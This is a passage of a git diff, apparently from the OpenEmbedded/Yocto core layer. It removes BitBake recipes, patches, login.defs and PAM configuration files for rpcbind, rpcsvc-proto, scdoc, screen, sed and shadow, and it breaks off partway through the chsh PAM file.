26PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
27
28INITSCRIPT_NAME = "rpcbind"
29INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
30
31SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
32
33inherit useradd
34
35USERADD_PACKAGES = "${PN}"
36USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
37 --shell /bin/false --user-group rpc"
38
39PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
40PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
41 --without-systemdsystemunitdir, \
42 systemd \
43"
44
45EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc --with-statedir=${runtimedir}/rpcbind"
46
47do_install:append () {
48 install -d ${D}${sysconfdir}/init.d
49 sed -e 's,/etc/,${sysconfdir}/,g' \
50 -e 's,/sbin/,${sbindir}/,g' \
51 ${UNPACKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
52 chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
53 install -m 0644 ${UNPACKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
54
55 install -d ${D}${sysconfdir}/tmpfiles.d
56 install -m 0644 ${UNPACKDIR}/rpcbind.tmpfiles ${D}${sysconfdir}/tmpfiles.d/rpcbind.conf
57
58 install -d ${D}${systemd_system_unitdir}/rpcbind.service.d
59 install -m 0644 ${UNPACKDIR}/rpcbind.systemd ${D}${systemd_system_unitdir}/rpcbind.service.d/rpcbind.conf
60}
61
62FILES:${PN} += "${systemd_system_unitdir}/rpcbind.service.d/rpcbind.conf"
63
64ALTERNATIVE:${PN} = "rpcinfo"
65ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
deleted file mode 100644
index 4cb785aa90..0000000000
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ /dev/null
@@ -1,39 +0,0 @@
1# Copyright (C) 2018 Khem Raj <raj.khem@gmail.com>
2# Released under the MIT license (see COPYING.MIT for the terms)
3
4SUMMARY = "rpcsvc protocol definitions from glibc"
5
6DESCRIPTION = "This package contains rpcsvc proto.x files from glibc, which are\
7missing in libtirpc. Additional it contains rpcgen, which is needed\
8to create header files and sources from protocol files.\
9This package is only needed, if glibc is installed without the\
10deprecated sunrpc functionality and libtirpc should replace it."
11
12HOMEPAGE = "https://github.com/thkukuk/rpcsvc-proto"
13LICENSE = "BSD-3-Clause"
14LIC_FILES_CHKSUM = "file://COPYING;md5=0daaf958d5531ab86169ec6e275e1517"
15SECTION = "libs"
16DEPENDS += "rpcsvc-proto-native"
17
18PV = "1.4.4"
19
20SRCREV = "c65926005e50da02a4da3e26abc42eded36cd19d"
21
22SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
23 file://0001-Use-cross-compiled-rpcgen.patch \
24 "
25
26inherit autotools gettext
27
28EXTRA_OEMAKE:class-native = " -C rpcgen"
29
30do_configure:prepend() {
31 touch ${S}/ABOUT-NLS
32}
33
34do_install:append() {
35 # They come from quota recipe
36 rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
37}
38
39BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
deleted file mode 100644
index 8e459b5634..0000000000
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch
+++ /dev/null
@@ -1,20 +0,0 @@
1From de9345207beb71e4d5b6b40b52cac4ebd2e3858c Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Fri, 27 Apr 2018 23:23:20 -0700
4Subject: [PATCH] Use cross compiled rpcgen
5
6Upstream-Status: Inappropriate [OE-Specific]
7
8Signed-off-by: Khem Raj <raj.khem@gmail.com>
9---
10 rpcsvc/Makefile.am | 2 +-
11 1 file changed, 1 insertion(+), 1 deletion(-)
12
13--- a/rpcsvc/Makefile.am
14+++ b/rpcsvc/Makefile.am
15@@ -12,4 +12,4 @@ nodist_rpcsvc_HEADERS = klm_prot.h nlm_p
16 nfs_prot.h rquota.h sm_inter.h
17
18 .x.h:
19- $(top_builddir)/rpcgen/rpcgen -h -o $@ $<
20+ rpcgen -h -o $@ $<
diff --git a/meta/recipes-extended/scdoc/scdoc/0001-Makefile-drop-static.patch b/meta/recipes-extended/scdoc/scdoc/0001-Makefile-drop-static.patch
deleted file mode 100644
index 631d06375b..0000000000
--- a/meta/recipes-extended/scdoc/scdoc/0001-Makefile-drop-static.patch
+++ /dev/null
@@ -1,23 +0,0 @@
1From 3667cced504bc40b176d4570d99a83fe67599f3a Mon Sep 17 00:00:00 2001
2From: Drew DeVault <sir@cmpwn.com>
3Date: Wed, 4 Sep 2024 10:07:46 +0200
4Subject: [PATCH] Makefile: drop -static
5
6Upstream-Status: Backport [https://git.sr.ht/~sircmpwn/scdoc/commit/3667cced504bc40b176d4570d99a83fe67599f3a]
7Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
8---
9 Makefile | 1 -
10 1 file changed, 1 deletion(-)
11
12diff --git a/Makefile b/Makefile
13index 96ad48cd04a6..49f076aadd39 100644
14--- a/Makefile
15+++ b/Makefile
16@@ -1,7 +1,6 @@
17 VERSION=1.11.3
18 CFLAGS?=-g
19 MAINFLAGS:=-DVERSION='"$(VERSION)"' -Wall -Wextra -Werror -Wno-unused-parameter
20-LDFLAGS+=-static
21 INCLUDE+=-Iinclude
22 PREFIX?=/usr/local
23 BINDIR?=$(PREFIX)/bin
diff --git a/meta/recipes-extended/scdoc/scdoc_1.11.3.bb b/meta/recipes-extended/scdoc/scdoc_1.11.3.bb
deleted file mode 100644
index 5f571c64dd..0000000000
--- a/meta/recipes-extended/scdoc/scdoc_1.11.3.bb
+++ /dev/null
@@ -1,20 +0,0 @@
1SUMMARY = "scdoc is a simple man page generator for POSIX systems written in C99."
2HOMEPAGE = "https://git.sr.ht/~sircmpwn/scdoc"
3SECTION = "base/doc"
4LICENSE = "MIT"
5LIC_FILES_CHKSUM = "file://COPYING;md5=31752b4a8edd3fb9ddba1cb90fada74d"
6
7DEPENDS = "scdoc-native"
8
9SRC_URI = "git://git.sr.ht/~sircmpwn/scdoc;protocol=https;branch=master \
10 file://0001-Makefile-drop-static.patch "
11SRCREV = "0528bcb993cac6c412acd3ae2e09539e994c0a59"
12
13do_install() {
14 oe_runmake 'DESTDIR=${D}' install
15}
16
17EXTRA_OEMAKE = "PREFIX=${prefix}"
18EXTRA_OEMAKE:append:class-target = " HOST_SCDOC=${STAGING_BINDIR_NATIVE}/scdoc"
19
20BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/screen/screen/screen.pam b/meta/recipes-extended/screen/screen/screen.pam
deleted file mode 100644
index ff657fa07c..0000000000
--- a/meta/recipes-extended/screen/screen/screen.pam
+++ /dev/null
@@ -1,2 +0,0 @@
1#%PAM-1.0
2auth include common-auth
diff --git a/meta/recipes-extended/screen/screen_5.0.1.bb b/meta/recipes-extended/screen/screen_5.0.1.bb
deleted file mode 100644
index 69f4098519..0000000000
--- a/meta/recipes-extended/screen/screen_5.0.1.bb
+++ /dev/null
@@ -1,46 +0,0 @@
1SUMMARY = "Multiplexing terminal manager"
2DESCRIPTION = "Screen is a full-screen window manager \
3that multiplexes a physical terminal between several \
4processes, typically interactive shells."
5HOMEPAGE = "http://www.gnu.org/software/screen/"
6BUGTRACKER = "https://savannah.gnu.org/bugs/?func=additem&group=screen"
7
8SECTION = "console/utils"
9
10LICENSE = "GPL-3.0-or-later"
11LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
12 file://screen.h;endline=26;md5=b8dc717c9a3dba842ae6c44ca0f73f52 \
13 "
14
15DEPENDS = "ncurses virtual/crypt \
16 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
17RDEPENDS:${PN} = "base-files"
18
19SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
20 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
21 "
22
23SRC_URI[sha256sum] = "2dae36f4db379ffcd14b691596ba6ec18ac3a9e22bc47ac239789ab58409869d"
24
25inherit autotools-brokensep texinfo
26
27PACKAGECONFIG ??= ""
28PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=no,libutempter,"
29
30EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-system_screenrc=${sysconfdir}/screenrc \
31 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
32
33do_install:append () {
34 install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
35 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
36 install -D -m 644 ${UNPACKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
37 fi
38}
39
40pkg_postinst:${PN} () {
41 grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
42}
43
44pkg_postrm:${PN} () {
45 printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
46}
diff --git a/meta/recipes-extended/sed/sed/run-ptest b/meta/recipes-extended/sed/sed/run-ptest
deleted file mode 100644
index 0460c7961f..0000000000
--- a/meta/recipes-extended/sed/sed/run-ptest
+++ /dev/null
@@ -1,5 +0,0 @@
1#!/bin/sh
2
3chown nobody testsuite
4chown nobody ../ptest
5su nobody -s /bin/sh -c "make test-suite.log"
diff --git a/meta/recipes-extended/sed/sed_4.9.bb b/meta/recipes-extended/sed/sed_4.9.bb
deleted file mode 100644
index b30ddc73ca..0000000000
--- a/meta/recipes-extended/sed/sed_4.9.bb
+++ /dev/null
@@ -1,68 +0,0 @@
1SUMMARY = "Stream EDitor (text filtering utility)"
2HOMEPAGE = "http://www.gnu.org/software/sed/"
3DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
4LICENSE = "GPL-3.0-or-later"
5LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
6 file://sed/sed.h;beginline=1;endline=15;md5=4e8e0f77bc4c1c2c02c2b90d3d24c670 \
7 "
8SECTION = "console/utils"
9
10SRC_URI = "${GNU_MIRROR}/sed/sed-${PV}.tar.xz \
11 file://run-ptest \
12"
13
14SRC_URI[sha256sum] = "6e226b732e1cd739464ad6862bd1a1aba42d7982922da7a53519631d24975181"
15
16inherit autotools texinfo update-alternatives gettext ptest
17
18PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
19
20RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
21RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
22
23EXTRA_OECONF = "--disable-acl \
24 "
25
26do_install () {
27 autotools_do_install
28 install -d ${D}${base_bindir}
29 if [ ! ${D}${bindir} -ef ${D}${base_bindir} ]; then
30 mv ${D}${bindir}/sed ${D}${base_bindir}/sed
31 rmdir ${D}${bindir}/
32 fi
33}
34
35ALTERNATIVE:${PN} = "sed"
36ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
37ALTERNATIVE_PRIORITY = "100"
38
39do_compile_ptest() {
40 oe_runmake testsuite/get-mb-cur-max testsuite/test-mbrtowc
41}
42
43do_install_ptest() {
44 cp -rf ${S}/testsuite/ ${D}${PTEST_PATH}
45 cp -rf ${B}/testsuite/* ${D}${PTEST_PATH}/testsuite/
46 cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}/
47 cp ${B}/Makefile ${D}${PTEST_PATH}
48 cp ${S}/init.cfg ${D}${PTEST_PATH}
49
50 sed -e 's/^Makefile:/_Makefile:/' -e 's/^srcdir = \(.*\)/srcdir = ./' -e 's/bash/sh/' -i ${D}${PTEST_PATH}/Makefile
51 for i in `grep -rl "sed/sed" ${D}${PTEST_PATH}`; do sed -e 's/..\/sed\/sed/sed/' -i $i; done
52
53 sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
54 -e 's|${DEBUG_PREFIX_MAP}||g' \
55 -e 's:${HOSTTOOLS_DIR}/::g' \
56 -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
57 -e 's:abs_top_builddir =.*:abs_top_builddir = ..:g' \
58 -e 's:abs_top_srcdir =.*:abs_top_srcdir = ..:g' \
59 -e 's:abs_srcdir =.*:abs_srcdir = ..:g' \
60 -e 's:top_srcdir =.*:top_srcdir = ..:g' \
61 -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
62 -e "/^\(PL\|SH\)_LOG_DRIVER =/s|(top_srcdir)|(top_builddir)|" \
63 -i ${D}${PTEST_PATH}/Makefile
64}
65
66RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
67
68BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
deleted file mode 100644
index 699269ed64..0000000000
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ /dev/null
@@ -1,48 +0,0 @@
1From f7b765c022e4cad9140ac44712885c66e149abdc Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Thu, 17 Jul 2014 15:53:34 +0800
4Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
5
6Upstream-Status: Inappropriate [OE specific]
7
8commonio.c: fix unexpected open failure in chroot environment
9
10When using commands with '-R <newroot>' option in our pseudo environment,
11we would usually get the 'Pemission Denied' error. This patch serves as
12a workaround to this problem.
13
14Note that this patch doesn't change the logic in the code, it just expands
15the codes.
16
17Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
18---
19 lib/commonio.c | 16 ++++++++++++----
20 1 file changed, 12 insertions(+), 4 deletions(-)
21
22diff --git a/lib/commonio.c b/lib/commonio.c
23index 4d83e83..9ee0e13 100644
24--- a/lib/commonio.c
25+++ b/lib/commonio.c
26@@ -604,10 +604,18 @@ int commonio_open (struct commonio_db *db, int mode)
27 db->cursor = NULL;
28 db->changed = false;
29
30- fd = open (db->filename,
31- (db->readonly ? O_RDONLY : O_RDWR)
32- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
33- saved_errno = errno;
34+ if (db->readonly) {
35+ fd = open (db->filename,
36+ (true ? O_RDONLY : O_RDWR)
37+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
38+ saved_errno = errno;
39+ } else {
40+ fd = open (db->filename,
41+ (false ? O_RDONLY : O_RDWR)
42+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW| O_CLOEXEC);
43+ saved_errno = errno;
44+ }
45+
46 db->fp = NULL;
47 if (fd >= 0) {
48 #ifdef WITH_TCB
diff --git a/meta/recipes-extended/shadow/files/disable_syslog.patch b/meta/recipes-extended/shadow/files/disable_syslog.patch
deleted file mode 100644
index 7299a8e61c..0000000000
--- a/meta/recipes-extended/shadow/files/disable_syslog.patch
+++ /dev/null
@@ -1,22 +0,0 @@
1When building images using shadow-native, we shouldn't be spamming the host's
2log with lots of syslog messages which aren't relavent. Disable syslog use
3in the native case.
4
5Upstream-Status: Inappropriate [Would upstream accept a configure option?]
6Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
7
8Index: shadow-4.17.2/lib/defines.h
9===================================================================
10--- shadow-4.17.2.orig/lib/defines.h
11+++ shadow-4.17.2/lib/defines.h
12@@ -88,7 +88,9 @@
13
14 /* cleaner than lots of #ifdefs everywhere - use this as follows:
15 SYSLOG((LOG_CRIT, "user %s cracked root", user)); */
16-#ifdef ENABLE_NLS
17+#if 1
18+#define SYSLOG(x)
19+#elif ENABLE_NLS
20 /* Temporarily set LC_TIME to "C" to avoid strange dates in syslog.
21 This is a workaround for a more general syslog(d) design problem -
22 syslogd should log the current system time for each event, and not
diff --git a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
deleted file mode 100644
index 09df77d2e7..0000000000
--- a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
+++ /dev/null
@@ -1,387 +0,0 @@
1# SPDX-License-Identifier: BSD-3-Clause OR Artistic-1.0
2#
3# /etc/login.defs - Configuration control definitions for the shadow package.
4#
5# $Id: login.defs 3038 2009-07-23 20:41:35Z nekral-guest $
6#
7
8#
9# Delay in seconds before being allowed another attempt after a login failure
10# Note: When PAM is used, some modules may enfore a minimal delay (e.g.
11# pam_unix enforces a 2s delay)
12#
13FAIL_DELAY 3
14
15#
16# Enable logging and display of /var/log/faillog login failure info.
17#
18#FAILLOG_ENAB yes
19
20#
21# Enable display of unknown usernames when login failures are recorded.
22#
23LOG_UNKFAIL_ENAB no
24
25#
26# Enable logging of successful logins
27#
28LOG_OK_LOGINS no
29
30#
31# Enable logging and display of /var/log/lastlog login time info.
32#
33#LASTLOG_ENAB yes
34
35#
36# Enable checking and display of mailbox status upon login.
37#
38# Disable if the shell startup files already check for mail
39# ("mailx -e" or equivalent).
40#
41##MAIL_CHECK_ENAB yes
42
43#
44# Enable additional checks upon password changes.
45#
46#OBSCURE_CHECKS_ENAB yes
47
48#
49# Enable checking of time restrictions specified in /etc/porttime.
50#
51#PORTTIME_CHECKS_ENAB yes
52
53#
54# Enable setting of ulimit, umask, and niceness from passwd gecos field.
55#
56#QUOTAS_ENAB yes
57
58#
59# Enable "syslog" logging of su activity - in addition to sulog file logging.
60# SYSLOG_SG_ENAB does the same for newgrp and sg.
61#
62SYSLOG_SU_ENAB yes
63SYSLOG_SG_ENAB yes
64
65#
66# If defined, either full pathname of a file containing device names or
67# a ":" delimited list of device names. Root logins will be allowed only
68# upon these devices.
69#
70CONSOLE /etc/securetty
71#CONSOLE console:tty01:tty02:tty03:tty04
72
73#
74# If defined, all su activity is logged to this file.
75#
76#SULOG_FILE /var/log/sulog
77
78#
79# If defined, ":" delimited list of "message of the day" files to
80# be displayed upon login.
81#
82#MOTD_FILE /etc/motd
83#MOTD_FILE /etc/motd:/usr/lib/news/news-motd
84
85#
86# If defined, this file will be output before each login prompt.
87#
88#ISSUE_FILE /etc/issue
89
90#
91# If defined, file which maps tty line to TERM environment parameter.
92# Each line of the file is in a format something like "vt100 tty01".
93#
94#TTYTYPE_FILE /etc/ttytype
95
96#
97# If defined, login failures will be logged here in a utmp format.
98# last, when invoked as lastb, will read /var/log/btmp, so...
99#
100#FTMP_FILE /var/log/btmp
101
102#
103# If defined, name of file whose presence which will inhibit non-root
104# logins. The contents of this file should be a message indicating
105# why logins are inhibited.
106#
107#NOLOGINS_FILE /etc/nologin
108
109#
110# If defined, the command name to display when running "su -". For
111# example, if this is defined as "su" then a "ps" will display the
112# command is "-su". If not defined, then "ps" would display the
113# name of the shell actually being run, e.g. something like "-sh".
114#
115SU_NAME su
116
117#
118# *REQUIRED*
119# Directory where mailboxes reside, _or_ name of file, relative to the
120# home directory. If you _do_ define both, #MAIL_DIR takes precedence.
121#
122#MAIL_DIR /var/spool/mail
123MAIL_FILE .mail
124
125#
126# If defined, file which inhibits all the usual chatter during the login
127# sequence. If a full pathname, then hushed mode will be enabled if the
128# user's name or shell are found in the file. If not a full pathname, then
129# hushed mode will be enabled if the file exists in the user's home directory.
130#
131HUSHLOGIN_FILE .hushlogin
132#HUSHLOGIN_FILE /etc/hushlogins
133
134#
135# If defined, either a TZ environment parameter spec or the
136# fully-rooted pathname of a file containing such a spec.
137#
138#ENV_TZ TZ=CST6CDT
139#ENV_TZ /etc/tzname
140
141#
142# If defined, an HZ environment parameter spec.
143#
144# for Linux/x86
145#ENV_HZ HZ=100
146# For Linux/Alpha...
147#ENV_HZ HZ=1024
148
149#
150# *REQUIRED* The default PATH settings, for superuser and normal users.
151#
152# (they are minimal, add the rest in the shell startup files)
153ENV_SUPATH PATH=/sbin:/bin:/usr/sbin:/usr/bin
154ENV_PATH PATH=/bin:/usr/bin
155
156#
157# Terminal permissions
158#
159# TTYGROUP Login tty will be assigned this group ownership.
160# TTYPERM Login tty will be set to this permission.
161#
162# If you have a "write" program which is "setgid" to a special group
163# which owns the terminals, define TTYGROUP to the group number and
164# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign
165# TTYPERM to either 622 or 600.
166#
167TTYGROUP tty
168TTYPERM 0600
169
170#
171# Login configuration initializations:
172#
173# ERASECHAR Terminal ERASE character ('\010' = backspace).
174# KILLCHAR Terminal KILL character ('\025' = CTRL/U).
175# ULIMIT Default "ulimit" value.
176#
177# The ERASECHAR and KILLCHAR are used only on System V machines.
178# The ULIMIT is used only if the system supports it.
179# (now it works with setrlimit too; ulimit is in 512-byte units)
180#
181# Prefix these values with "0" to get octal, "0x" to get hexadecimal.
182#
183ERASECHAR 0177
184KILLCHAR 025
185#ULIMIT 2097152
186
187# Default initial "umask" value for non-PAM enabled systems.
188# UMASK is also used by useradd and newusers to set the mode of new home
189# directories.
190# 022 is the default value, but 027, or even 077, could be considered
191# better for privacy. There is no One True Answer here: each sysadmin
192# must make up her mind.
193UMASK 022
194
195#
196# Password aging controls:
197#
198# PASS_MAX_DAYS Maximum number of days a password may be used.
199# PASS_MIN_DAYS Minimum number of days allowed between password changes.
200# PASS_MIN_LEN Minimum acceptable password length.
201# PASS_WARN_AGE Number of days warning given before a password expires.
202#
203PASS_MAX_DAYS 99999
204PASS_MIN_DAYS 0
205#PASS_MIN_LEN 5
206PASS_WARN_AGE 7
207
208#
209# If "yes", the user must be listed as a member of the first gid 0 group
210# in /etc/group (called "root" on most Linux systems) to be able to "su"
211# to uid 0 accounts. If the group doesn't exist or is empty, no one
212# will be able to "su" to uid 0.
213#
214#SU_WHEEL_ONLY no
215
216#
217# If compiled with cracklib support, where are the dictionaries
218#
219#CRACKLIB_DICTPATH /var/cache/cracklib/cracklib_dict
220
221#
222# Min/max values for automatic uid selection in useradd
223#
224UID_MIN 1000
225UID_MAX 60000
226# System accounts
227SYS_UID_MIN 101
228SYS_UID_MAX 999
229
230#
231# Min/max values for automatic gid selection in groupadd
232#
233GID_MIN 1000
234GID_MAX 60000
235# System accounts
236SYS_GID_MIN 101
237SYS_GID_MAX 999
238
239#
240# Max number of login retries if password is bad
241#
242LOGIN_RETRIES 5
243
244#
245# Max time in seconds for login
246#
247LOGIN_TIMEOUT 60
248
249#
250# Maximum number of attempts to change password if rejected (too easy)
251#
252#PASS_CHANGE_TRIES 5
253
254#
255# Warn about weak passwords (but still allow them) if you are root.
256#
257#PASS_ALWAYS_WARN yes
258
259#
260# Number of significant characters in the password for crypt().
261# Default is 8, don't change unless your crypt() is better.
262# Ignored if MD5_CRYPT_ENAB set to "yes".
263#
264#PASS_MAX_LEN 8
265
266#
267# Require password before chfn/chsh can make any changes.
268#
269#CHFN_AUTH yes
270
271#
272# Which fields may be changed by regular users using chfn - use
273# any combination of letters "frwh" (full name, room number, work
274# phone, home phone). If not defined, no changes are allowed.
275# For backward compatibility, "yes" = "rwh" and "no" = "frwh".
276#
277CHFN_RESTRICT rwh
278
279#
280# Password prompt (%s will be replaced by user name).
281#
282# XXX - it doesn't work correctly yet, for now leave it commented out
283# to use the default which is just "Password: ".
284#LOGIN_STRING "%s's Password: "
285
286#
287# Only works if compiled with MD5_CRYPT defined:
288# If set to "yes", new passwords will be encrypted using the MD5-based
289# algorithm compatible with the one used by recent releases of FreeBSD.
290# It supports passwords of unlimited length and longer salt strings.
291# Set to "no" if you need to copy encrypted passwords to other systems
292# which don't understand the new algorithm. Default is "no".
293#
294# Note: If you use PAM, it is recommended to use a value consistent with
295# the PAM modules configuration.
296#
297# This variable is deprecated. You should use ENCRYPT_METHOD.
298#
299#MD5_CRYPT_ENAB no
300
301#
302# Only works if compiled with ENCRYPTMETHOD_SELECT defined:
303# If set to MD5 , MD5-based algorithm will be used for encrypting password
304# If set to SHA256, SHA256-based algorithm will be used for encrypting password
305# If set to SHA512, SHA512-based algorithm will be used for encrypting password
306# If set to DES, DES-based algorithm will be used for encrypting password (default)
307# Overrides the MD5_CRYPT_ENAB option
308#
309# Note: If you use PAM, it is recommended to use a value consistent with
310# the PAM modules configuration.
311#
312#ENCRYPT_METHOD DES
313
314#
315# Only works if ENCRYPT_METHOD is set to SHA256 or SHA512.
316#
317# Define the number of SHA rounds.
318# With a lot of rounds, it is more difficult to brute forcing the password.
319# But note also that it more CPU resources will be needed to authenticate
320# users.
321#
322# If not specified, the libc will choose the default number of rounds (5000).
323# The values must be inside the 1000-999999999 range.
324# If only one of the MIN or MAX values is set, then this value will be used.
325# If MIN > MAX, the highest value will be used.
326#
327# SHA_CRYPT_MIN_ROUNDS 5000
328# SHA_CRYPT_MAX_ROUNDS 5000
329
330#
331# List of groups to add to the user's supplementary group set
332# when logging in on the console (as determined by the CONSOLE
333# setting). Default is none.
334#
335# Use with caution - it is possible for users to gain permanent
336# access to these groups, even when not logged in on the console.
337# How to do it is left as an exercise for the reader...
338#
339#CONSOLE_GROUPS floppy:audio:cdrom
340
341#
342# Should login be allowed if we can't cd to the home directory?
343# Default in no.
344#
345DEFAULT_HOME yes
346
347#
348# If this file exists and is readable, login environment will be
349# read from it. Every line should be in the form name=value.
350#
351#ENVIRON_FILE /etc/environment
352
353#
354# If defined, this command is run when removing a user.
355# It should remove any at/cron/print jobs etc. owned by
356# the user to be removed (passed as the first argument).
357#
358#USERDEL_CMD /usr/sbin/userdel_local
359
360#
361# Enable setting of the umask group bits to be the same as owner bits
362# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is
363# the same as gid, and username is the same as the primary group name.
364#
365# This also enables userdel to remove user groups if no members exist.
366#
367USERGROUPS_ENAB yes
368
369#
370# If set to a non-nul number, the shadow utilities will make sure that
371# groups never have more than this number of users on one line.
372# This permit to support split groups (groups split into multiple lines,
373# with the same group ID, to avoid limitation of the line length in the
374# group file).
375#
376# 0 is the default value and disables this feature.
377#
378#MAX_MEMBERS_PER_GROUP 0
379
380#
381# If useradd should create home directories for users by default (non
382# system users only)
383# This option is overridden with the -M or -m flags on the useradd command
384# line.
385#
386CREATE_HOME yes
387
diff --git a/meta/recipes-extended/shadow/files/login_defs_pam.sed b/meta/recipes-extended/shadow/files/login_defs_pam.sed
deleted file mode 100644
index 0a1f3be4af..0000000000
--- a/meta/recipes-extended/shadow/files/login_defs_pam.sed
+++ /dev/null
@@ -1,32 +0,0 @@
1/^FAILLOG_ENAB/b comment
2/^LASTLOG_ENAB/b comment
3/^MAIL_CHECK_ENAB/b comment
4/^OBSCURE_CHECKS_ENAB/b comment
5/^PORTTIME_CHECKS_ENAB/b comment
6/^QUOTAS_ENAB/b comment
7/^MOTD_FILE/b comment
8/^FTMP_FILE/b comment
9/^NOLOGINS_FILE/b comment
10/^ENV_HZ/b comment
11/^ENV_TZ/b comment
12/^PASS_MIN_LEN/b comment
13/^SU_WHEEL_ONLY/b comment
14/^CRACKLIB_DICTPATH/b comment
15/^PASS_CHANGE_TRIES/b comment
16/^PASS_ALWAYS_WARN/b comment
17/^PASS_MAX_LEN/b comment
18/^PASS_MIN_LEN/b comment
19/^CHFN_AUTH/b comment
20/^CHSH_AUTH/b comment
21/^ISSUE_FILE/b comment
22/^LOGIN_STRING/b comment
23/^ULIMIT/b comment
24/^ENVIRON_FILE/b comment
25
26b exit
27
28: comment
29 s:^:#:
30
31: exit
32
diff --git a/meta/recipes-extended/shadow/files/pam.d/chfn b/meta/recipes-extended/shadow/files/pam.d/chfn
deleted file mode 100644
index baf7698bba..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/chfn
+++ /dev/null
@@ -1,14 +0,0 @@
1#
2# The PAM configuration file for the Shadow `chfn' service
3#
4
5# This allows root to change user infomation without being
6# prompted for a password
7auth sufficient pam_rootok.so
8
9# The standard Unix authentication modules, used with
10# NIS (man nsswitch) as well as normal /etc/passwd and
11# /etc/shadow entries.
12auth include common-auth
13account include common-account
14session include common-session
diff --git a/meta/recipes-extended/shadow/files/pam.d/chpasswd b/meta/recipes-extended/shadow/files/pam.d/chpasswd
deleted file mode 100644
index b769d92ba4..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/chpasswd
+++ /dev/null
@@ -1,6 +0,0 @@
1# The PAM configuration file for the Shadow 'chpasswd' service
2#
3
4auth sufficient pam_rootok.so
5account required pam_permit.so
6password include common-password
diff --git a/meta/recipes-extended/shadow/files/pam.d/chsh b/meta/recipes-extended/shadow/files/pam.d/chsh
deleted file mode 100644
index 8fb169f64e..0000000000
--- a/meta/recipes-extended/shadow/files/pam.d/chsh
+++ /dev/null
@@ -1,19 +0,0 @@
1#
2# The PAM configuration file for the Shadow `chsh' service
3#
4
5# This will not allow a user to change their shell unless
6# their current one is listed in /etc/shells. This keeps
7# accounts with special shells from changing them.
8auth required pam_shells.so
9
10# This allows root to change user shell without being
11# prompted for a password
12auth sufficient pam_rootok.so
13
